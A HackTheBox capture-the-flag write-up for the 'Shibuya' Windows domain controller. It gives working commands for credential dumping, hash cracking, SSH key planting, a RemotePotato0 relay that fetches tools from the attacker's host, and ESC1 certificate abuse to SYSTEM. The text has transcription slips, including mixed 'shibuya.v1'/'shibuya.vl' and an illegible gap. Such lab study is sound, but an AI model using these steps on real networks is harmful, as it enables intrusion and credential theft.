



# HACKTHEBOX



## Shibuya

14<sup>th</sup> May 2025

Prepared By: amra

Machine Author: xct

Difficulty: Medium

## Synopsis

Shibuya is a Medium Windows machine that starts of with the SMB port exposed. Enumerating possible usernames through Kerberos an attacker is able to find the valid machine account `red:red`. With these credentials, he can further enumerate the remote users and discover that the user `svc_autojoin` has a password in its description. With this account in hand, he is able to discover some `Windows Imaging Format (.wmi)` files that contain hashes for the user `simon.watson`. Now, the attacker has command execution through SSH on the remote machine and is able to enumerate that another user has an active interactive session. By performing a cross-session relay attack he is able to steal the hash and crack the password for the user `nigel.mills`. The new user is member of the `tl_admin` groups which has enrolment rights on a certificate template that's vulnerable to `ESC1` and by exploiting it we are able to gain `SYSTEM` privileges on the machine.

## Skills Required

- Enumeration
- Windows Active Directory
- ADCS enumeration

## Skills Learned

- Investigate WMI files

- Cross-Session relay attack
- ESC1 exploitation

# Enumeration

## Nmap

```
$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.234.42 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,,$//)
$ nmap -p$ports -sC -sV 10.129.234.42
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-14
09:52:04Z)
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
464/tcp    open  kpasswd5?
593/tcp    open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
3268/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain:
shibuya.vl0., Site: Default-First-Site-Name)
<SNIP>
|_Not valid after: 2026-02-15T07:26:20
3269/tcp   open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain:
shibuya.vl0., Site: Default-First-Site-Name)
<SNIP>
3389/tcp   open  ms-wbt-server Microsoft Terminal Services
<SNIP>
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
<SNIP>
9389/tcp   open  mc-nmf       .NET Message Framing
49664/tcp  open  msrpc        Microsoft Windows RPC
49668/tcp  open  msrpc        Microsoft Windows RPC
55304/tcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
55313/tcp  open  msrpc        Microsoft Windows RPC
55324/tcp  open  msrpc        Microsoft Windows RPC
55335/tcp  open  msrpc        Microsoft Windows RPC
Service Info: Host: AWSJPDC0522; OS: Windows; CPE: cpe:/o:microsoft:windows
```

The Nmap output reveals a lot of ports open leading us to think that we are dealing with a Domain Controller in an Active Directory environment. We notice that `ssh` is listening on its default `22` port which is highly unusual for a Windows machine, so we keep a note of this. Moreover, Nmap reveals the `AWSJPDC0522.shibuya.vl` hostname. So we modify our `/etc/hosts` file accordingly.

```
$ echo "10.129.234.42 AWSJPDC0522.shibuya.vl shibuya.vl" | sudo tee -a /etc/hosts
```

## SMB

Since there is no web server running, we turn our attention to `SMB`. First of all, let's try if we can anonymously list shares on the remote machine.

```
$ nxc smb shibuya.v1 -u '' -p '' --shares
SMB      10.129.234.42  445    AWSJPDC0522    [*] Windows Server 2022 Build 20348
x64 (name:AWSJPDC0522) (domain:shibuya.v1) (signing:True) (SMBv1:False)
SMB      10.129.234.42  445    AWSJPDC0522    [+] shibuya.v1\:
SMB      10.129.234.42  445    AWSJPDC0522    [-] Error enumerating shares:
STATUS_ACCESS_DENIED

$ nxc smb shibuya.v1 -u 'guest' -p '' --shares
SMB      10.129.234.42  445    AWSJPDC0522    [*] Windows Server 2022 Build 20348
x64 (name:AWSJPDC0522) (domain:shibuya.v1) (signing:True) (SMBv1:False)
SMB      10.129.234.42  445    AWSJPDC0522    [-] shibuya.v1\guest:
STATUS_ACCOUNT_DISABLED
```

Both null and guest authentication failed. Since we don't have any valid credentials we can try to enumerate possible usernames using [Kerbrute](#).

```
$ kerbrute userenum -d shibuya.v1 --dc AWSJPDC0522.shibuya.v1
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
<SNIP>
2025/05/09 21:51:24 > Using KDC(s):
2025/05/09 21:51:24 > AWSJPDC0522.shibuya.v1:88

2025/05/09 21:51:24 > [+] VALID USERNAME:      purple@shibuya.v1
2025/05/09 21:51:26 > [+] VALID USERNAME:      red@shibuya.v1
</SNIP>
```

We have two valid usernames `red` and `purple`. More often than not, many accounts re-use the username as the password so let's try that. But first of all, let's sync our clock to that of the remote machine.

```
$ sudo ntpdate -u shibuya.v1
$ nxc smb shibuya.v1 -u red -p red -k
SMB      shibuya.v1      445    AWSJPDC0522    [*] Windows Server 2022 Build 20348
x64
SMB      shibuya.v1      445    AWSJPDC0522    [+] shibuya.v1:red:red
```

We have a valid set of credentials `red:red`.

## Foothold

Now that we have a valid set of credentials we can try to list the available shares.

```
$ nxc smb shibuya.vl -u red -p red -k --shares
```

|     |            |     |             |                                         |             |                    |
|-----|------------|-----|-------------|-----------------------------------------|-------------|--------------------|
| SMB | shibuya.vl | 445 | AWSJPDC0522 | [*] Windows Server 2022 Build 20348 x64 |             |                    |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | [+] shibuya.vl\red:red                  |             |                    |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | [*] Enumerated shares                   |             |                    |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | Share                                   | Permissions | Remark             |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | -----                                   | -----       | -----              |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | ADMIN\$                                 |             | Remote Admin       |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | C\$                                     |             | Default share      |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | images\$                                |             |                    |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | IPC\$                                   | READ        | Remote IPC         |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | NETLOGON                                | READ        | Logon server share |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | SYSVOL                                  | READ        | Logon server share |
| SMB | shibuya.vl | 445 | AWSJPDC0522 | users                                   | READ        |                    |

We notice that there are two non-standard shares `users` and `images$`. Since we have `READ` access on the `users` share let's try to enumerate it further.

```
$ impacket-smbclient -k shibuya.vl/red:red@AWSJPDC0522.shibuya.vl
# use users
# ls
drw-rw-rw-    0  Sun Feb 16 11:50:59 2025 .
drw-rw-rw-    0  Wed Apr  9 02:09:45 2025 ..
drw-rw-rw-    0  Wed Apr  9 01:36:27 2025 Administrator
drw-rw-rw-    0  Sat Feb 15 16:48:20 2025 All Users
drw-rw-rw-    0  Sat Feb 15 16:49:12 2025 Default
drw-rw-rw-    0  Sat Feb 15 16:48:20 2025 Default User
-rw-rw-rw-   174  Sat Feb 15 16:46:52 2025 desktop.ini
drw-rw-rw-    0  Wed Apr  9 01:30:42 2025 nigel.mills
drw-rw-rw-    0  Sat Feb 15 07:49:31 2025 Public
drw-rw-rw-    0  Tue Feb 18 20:36:45 2025 simon.watson
```

If we try to navigate to any of the users folder we get `STATUS_ACCESS_DENIED`. At this point, let's further enumerate possible users on the remote machine.

```
$ nxc smb shibuya.vl -u red -p red -k --users
<SNIP>
SMB      shibuya.vl      445      AWSJPDC0522      [*] Windows Server 2022 Build 20348
x64
SMB      shibuya.vl      445      AWSJPDC0522      [+] shibuya.vl\red:red
SMB      shibuya.vl      445      AWSJPDC0522      -Username- -Last PW Set- -BadPW- -
Description-
SMB      shibuya.vl      445      AWSJPDC0522      _admin      2025-02-15 07:55:29 0
SMB      shibuya.vl      445      AWSJPDC0522      Guest      <never>      0
SMB      shibuya.vl      445      AWSJPDC0522      krbtgt      2025-02-15 07:24:57 0
SMB      shibuya.vl      445      AWSJPDC0522      svc_autojoin 2025-02-15 07:51:49 0
K5&A6Dw9d8jrKWhV
SMB      shibuya.vl      445      AWSJPDC0522      Leon.Warren 2025-02-16 10:23:34 0
SMB      shibuya.vl      445      AWSJPDC0522      Graeme.Kerr 2025-02-16 10:23:34 0
SMB      shibuya.vl      445      AWSJPDC0522      Joshua.North 2025-02-16 10:23:34 0
</SNIP>
```

We get a lot of users, but `svc_autojoin` stands out because in the `Description` field is a string that looks like a potential password. Let's verify that theory while we also note that the Administrator user has the username `_admin`.

```
$ nxc smb shibuya.vl -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV' -k
SMB      shibuya.vl      445      AWSJPDC0522      [*] Windows Server 2022 Build 20348
x64
SMB      shibuya.vl      445      AWSJPDC0522      [+]
shibuya.vl\svc_autojoin:K5&A6Dw9d8jrKWhV
```

With this new account in hand, let's see if we can access the `images$` share now.

```
$ nxc smb shibuya.vl -u svc_autojoin -p 'K5&A6Dw9d8jrKWhV' -k --shares
<SNIP>
SMB      shibuya.vl      445      AWSJPDC0522      Share      Permissions      Remark
SMB      shibuya.vl      445      AWSJPDC0522      -----      -----      -----
SMB      shibuya.vl      445      AWSJPDC0522      images$      READ
</SNIP>
```

Indeed, we can read the `images$` share. Let's connect to SMB and check what files are included in that share.

```
$ impacket-smbclient -k shibuya.vl/svc_autojoin:'K5&A6Dw9d8jrKWhV'@AWSJPDC0522.shibuya.vl
# use images$
# ls
drw-rw-rw-      0 Wed Feb 19 18:35:20 2025 .
drw-rw-rw-      0 Wed Apr 9 02:09:45 2025 ..
-rw-rw-rw-      8264070 Wed Feb 19 18:35:20 2025 AWSJPWK0222-01.wim
-rw-rw-rw-      50660968 Wed Feb 19 18:35:20 2025 AWSJPWK0222-02.wim
```

```
-rw-rw-rw- 32065850 Wed Feb 19 18:35:20 2025 AWSJPWK0222-03.wim
-rw-rw-rw- 365686 Wed Feb 19 18:35:20 2025 vss-meta.cab
# mget *
[*] Downloading AWSJPWK0222-01.wim
[*] Downloading AWSJPWK0222-02.wim
[*] Downloading AWSJPWK0222-03.wim
[*] Downloading vss-meta.cab
```

We have a few [Windows Imaging Format (.wim)]

[[https://en.wikipedia.org/wiki/Windows\\_Imaging\\_Format#:~:text=The%20Windows%20Imaging%20Format%20\(WIM,Filename%20extension\)](https://en.wikipedia.org/wiki/Windows_Imaging_Format#:~:text=The%20Windows%20Imaging%20Format%20(WIM,Filename%20extension))] files. WIM files can contain disk images so let's try to mount them and check if we can extract any secrets from them.

```
$ sudo wimmount AWSJPWK0222-02.wim /mnt

$ impacket-secretsdump -system /mnt/SYSTEM -sam /mnt/SAM -security /mnt/SECURITY local
<SNIP>
[*] Target system bootKey: 0x2e971736685fc53bfd5106d471e2f00f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8dcb5ed323d1d09b9653452027e8c013:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9dc1b36c1e31da7926d77ba67c654ae6:::
:
operator:1000:aad3b435b51404eeaad3b435b51404ee:5d8c3d1a20bd63f60f469f6763ca0d50:::
[*] Dumping cached domain logon information (domain/username:hash)
SHIBUYA.VL/Simon.Watson:$DCC2$10240#Simon.Watson#04b20c71b23baf7a3025f40b3409e325: (2025-02-16 11:17:56)
[*] Dumping LSA Secrets
</SNIP>
```

We got some hashes. Trying the `Administrator`'s hash yields no result. But, we can assume that the `operator` account belongs to `Simon.Watson` who has logged on to the machine. Let's check if `simon.watson` has re-used his password for the `operator` account.

```
$ nxc smb shibuya.vl -u simon.watson -H 5d8c3d1a20bd63f60f469f6763ca0d50
SMB 10.129.234.42 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348
x64
SMB 10.129.234.42 445 AWSJPDC0522 [+]
shibuya.vl\simon.watson:5d8c3d1a20bd<SNIP>
```

Indeed the NTLM hash of the `operator` user works for `simon.watson`. Now, we can access his user folder on the `users` share and get the `user.txt` flag.

```
$ impacket-smbclient simon.watson@shibuya.v1 -hashes :5d8c3d1a20bd63f60f469f6763ca0d50
# use users
# cd simon.watson
# cd Desktop
# ls
drw-rw-rw-      0  Wed Apr  9 02:06:32 2025  .
drw-rw-rw-      0  Tue Feb 18 20:36:45 2025  ..
-rw-rw-rw-    32  Wed Apr  9 02:06:45 2025  user.txt
# get user.txt
```

## Lateral Movement

We have access to the user's home directory and we need to find a way to execute commands on the remote system. At this point, we look back at our notes and we remember that `ssh` is open on this machine. So, we can create a pair of keys on our local machine, plant them on the user's directory inside `.ssh` and authenticate over SSH.

First of all, let's create a key pair on our local machine.

```
$ ssh-keygen -t ed25519 -f amra
$ mv amra.pub authorized_keys
```

Then, we can plant them.

```
$ impacket-smbclient simon.watson@shibuya.v1 -hashes :5d8c3d1a20bd63f60f469f6763ca0d50
# use users
# cd simon.watson
# mkdir .ssh
# cd .ssh
# put authorized_keys
```

Finally, we can authenticate over SSH.

```
$ ssh -i amra -D 1080 simon.watson@shibuya.v1
```

Since LDAP port is closed to outside connections, we opted to open a SOCKS tunnel in case we need it by specifying the `-D 1080` option.

Now, we have code execution on the remote machine as `simon.watson`.

```
shibuya\simon.watson@AWSJPDC0522 C:\Users\simon.watson>whoami
shibuya\simon.watson
```

In case you encounter a weird behavior in which `Backspace` deletes the whole word/line instead of a single character, you can use the `CTRL + Backspace` combo to delete single characters.

Enumerating the machine, we notice that someone has an interactive session on the machine and that `ADCS` is probably present on the machine.

```
shibuya\simon.watson@AWSJPC0522 C:\Users\simon.watson>powershell
PS C:\Users\simon.watson> ps
<SNIP>
Handles    NPM(K)      PM(K)      WS(K)      CPU(s)      Id  SI  ProcessName
-----
387        32         12000      21216             2192    0  certsrv
1599       60        24848      89752             5600    1  explorer
</SNIP>
```

In order to further enumerate this, we can use [RunasCs](#) to identify active sessions. First of all, we need to transfer the binary to the remote machine. To do so, we download the release version and set up a `Python` webserver on the same directory.

```
$ sudo python3 -m http.server 80
```

Then, on our SSH session we download the file.

```
PS C:\Users\simon.watson\music> wget 10.10.14.67/RunasCs.exe -o run.exe -usebasicparsing
```

Afterwards, we use it to execute the `qwinsta` command.

```
PS C:\Users\simon.watson\music> .\run.exe -l 9 amra amra qwinsta
SESSIONNAME      USERNAME              ID  STATE  TYPE      DEVICE
>services                0  Disc
rdp-tcp#0         nigel.mills          1  Active
console           2  Conn
rdp-tcp           65536 Listen
```

Indeed, `nigel.mills` has an interactive session on the machine via RDP, we can try to steal his hash by performing a `Cross-Session relay` attack. First of all, we need to transfer [RemotePotato0](#) to the remote machine. To do so, we download the release version and we re-use our `Python` server.

On our SSH session we download the file.

```
PS C:\Users\simon.watson\music> wget 10.10.14.67/RemotePotato0.exe -o potato.exe -
usebasicparsing
```

Afterwards, we need to set up a socat redirection on our machine.

```
$ socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.129.234.42:8888
```

Finally, we trigger the exploit.

```
PS C:\Users\simon.watson\music> .\potato.exe -m 2 -r 10.10.14.67 -x 10.10.14.67 -p 8888 -s
1
```



[illegible]

```
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Sail2Boat3      (Nigel.Mills)
```

```
$ ssh -D 1080 nigel.mills@shibuya.v1
shibuya\nigel.mills@AWSJPDC0522 C:\Users\nigel.mills>whoami /groups
<SNIP>
SHIBUYA\tl_admins                                Group                                S-1-5-21-87560095-894484815-
3652015022-1103 Mandatory group, Enabled by default, Enabled group
</SNIP>
```

```
$ proxychains -q certipy-ad find -u nigel.mills -p Sail2Boat3 -dc-ip 10.129.234.42 -dns-  
tcp -vulnerable -enabled -stdout  
[*] Finding certificate templates  
[*] Found 34 certificate templates  
[*] Finding certificate authorities  
[*] Found 1 certificate authority
```

```

[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'shibuya-AWSJPDC0522-CA' via CSRA
[!] Got error while trying to get CA configuration for 'shibuya-AWSJPDC0522-CA' via CSRA:
CASSessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'shibuya-AWSJPDC0522-CA' via RRP
[*] Got CA configuration for 'shibuya-AWSJPDC0522-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : shibuya-AWSJPDC0522-CA
DNS Name : AWSJPDC0522.shibuya.vl
Certificate Subject : CN=shibuya-AWSJPDC0522-CA, DC=shibuya, DC=vl
Certificate Serial Number : 2417712CBD96C58449CFDA3BE3987F52
Certificate Validity Start : 2025-02-15 07:24:14+00:00
Certificate Validity End : 2125-02-15 07:34:13+00:00
Web Enrollment : Enabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
  Owner : SHIBUYA.VL\Administrators
  Access Rights
    ManageCertificates : SHIBUYA.VL\Administrators
                        SHIBUYA.VL\Domain Admins
                        SHIBUYA.VL\Enterprise Admins
    ManageCa : SHIBUYA.VL\Administrators
              SHIBUYA.VL\Domain Admins
              SHIBUYA.VL\Enterprise Admins
    Enroll : SHIBUYA.VL\Authenticated Users
[!] Vulnerabilities
  ESC8 : Web Enrollment is enabled and Request
Disposition is set to Issue
Certificate Templates
0
Template Name : ShibuyaWeb
Display Name : ShibuyaWeb
Certificate Authorities : shibuya-AWSJPDC0522-CA
Enabled : True
Client Authentication : True
Enrollment Agent : True
Any Purpose : True
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : ExportableKey
Extended Key Usage : Any Purpose
                  Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 100 years
Renewal Period : 75 years

```

```

Minimum RSA Key Length      : 4096
Permissions
  Enrollment Permissions
    Enrollment Rights       : SHIBUYA.VL\tl_admins
                           SHIBUYA.VL\Domain Admins
                           SHIBUYA.VL\Enterprise Admins

  Object Control Permissions
    Owner                   : SHIBUYA.VL\_admin
    Write Owner Principals  : SHIBUYA.VL\Domain Admins
                           SHIBUYA.VL\Enterprise Admins
                           SHIBUYA.VL\_admin
    Write Dacl Principals   : SHIBUYA.VL\Domain Admins
                           SHIBUYA.VL\Enterprise Admins
                           SHIBUYA.VL\_admin
    Write Property Principals : SHIBUYA.VL\Domain Admins
                           SHIBUYA.VL\Enterprise Admins
                           SHIBUYA.VL\_admin

[!] Vulnerabilities
  ESC1                      : 'SHIBUYA.VL\tl_admins' can enroll, enrollee
supplies subject and template allows client authentication
  ESC2                      : 'SHIBUYA.VL\tl_admins' can enroll and template
can be used for any purpose
  ESC3                      : 'SHIBUYA.VL\tl_admins' can enroll and template
has Certificate Request Agent EKU set

```

We notice that the template `ShibuyaWeb` is vulnerable to `ESC1`. Thankfully, `nigel.mills` is a member of the `tl_admins` group which has enrollment rights. Let's proceed with the attack.

```

$ proxychains -q certipy-ad req -u nigel.mills -p Sail2Boat3 -target-ip 10.129.234.42 -ca
shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn _admin -key-size 4096 -debug -sid S-1-5-
21-87560095-894484815-3652015022-500
[+] Trying to resolve '' at '10.206.0.1'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.234.42[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.234.42[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with UPN '_admin'
[*] Certificate object SID is 'S-1-5-21-87560095-894484815-3652015022-500'
[*] Saved certificate and private key to '_admin.pfx'

```

If you want to find the SID of the `Administrator` user, all you have to do is get the domain `SID` from one of the SSH connections and replace the last part with `-500`. One example is the `whoami /groups` command we executed earlier under `nigel.mills`, it revealed the part we want.

Finally, we go after Administrator's hash and to get a shell.

```
$ proxychains -q certipy-ad auth -pfx _admin.pfx -domain shibuya.vl -dc-ip 10.129.234.42
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: _admin@shibuya.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to '_admin.ccache'
[*] Trying to retrieve NT hash for '_admin'
[*] Got hash for '_admin@shibuya.vl':
aad3b435b51404eeaad3b435b51404ee:bab5b2a004eabb11d865f31912b6b430
```

```
$ impacket-smbexec _admin@shibuya.vl -hashes :bab5b2a004eabb11d865f31912b6b430
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
```

The root flag can be found under `C:\Users\Administrator\Desktop\root.txt`